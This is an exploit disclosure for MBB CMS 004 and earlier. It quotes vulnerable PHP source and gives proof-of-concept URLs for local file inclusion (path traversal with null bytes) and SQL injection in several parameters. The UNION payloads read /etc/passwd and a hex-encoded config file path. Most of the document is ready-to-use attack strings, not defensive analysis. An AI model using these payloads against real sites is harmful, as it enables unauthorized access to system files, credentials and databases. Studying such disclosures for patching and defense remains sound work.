# MBB CMS <= 004 (LFI/SQLi) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script http://sourceforge.net/projects/phpmbbcms/
# Tested : Windows / Linux
# Dork : N/A
###################################################
# LFI [ MBB_CMS/index.php ]
# .......
# 22 if(isset($_GET['mod'])){
# 23 $a=$_GET['mod'];
# 24 switch($a){
# 25 case $a:
# 26 if(file_exists("modul/$a/$a.php")){
# 27 include("modul/$a/$a.php");
# 28 }else{
# 29 include("site/main.php");
# 30 }
# 31 break;
# 32 }
# 33 }else{
# 34 $a=$_GET['ref'];
# 35 switch($a){
# 36
# 37 case"login": logForm(); break;
# 38 case"logact": login(); break;
# 39 case"logout": logout(); break;
# 40
# 41 case $a:
# 42 if(file_exists("site/$a.php")){
# 43 include("site/$a.php");
# 44 }else if(file_exists("site/$a/$a.php")){
# 45 include("site/$a/$a.php");
# 46 }else{
# 47 include("site/main.php");
# 48 }
# 49 break;
# .......
############################################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?mod=[LFI]%00
http://127.0.0.1/[MBB_CMS]/?ref=[LFI]%00
http://127.0.0.1/[MBB_CMS]/?mod=../../../../../../../../../../../../../[file]%00
http://127.0.0.1/[MBB_CMS]/?ref=../../../../../../../../../../../../../[file]%00
# SQLi [ MBB_CMS/modul/article/article.php ]
# ........
# 18 $id=$_GET['id'];
# 19 $query=mysql_query("select artikel_artikel.id,artikel_artikel.catid,artikel_cat.kategori
# from artikel_artikel join artikel_cat on artikel_artikel.catid=artikel_cat.id
# where artikel_artikel.id='$id'");
# ........
#
# .....
# 173 function category(){
# 174 $catid=$_GET['catid'];
# 175 @list($kategori)=mysql_fetch_array(mysql_query("select kategori from artikel_cat where id='$catid'"));
# .....
#################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=adhan' union select 1,2,version(),4,5 and 'memang'='ganteng
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=adhan' union select 1,2,load_file('/etc/passwd'),4,5 and 'memang'='ganteng
# SQLi [MBB_CMS/site/page/page.php ]
# .......
# 92 $pid=$_GET['pid'];
# 93 @list($name)=mysql_fetch_array(mysql_query("select title from pages where pub='1' and id='$pid'"));
# ......
###########################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=adhan' union select 1,2,load_file(0x433a2f417070536572762f7777772f64656d6f2f7379732f636f6e6669672e706870),4,5 and 'memang'='ganteng
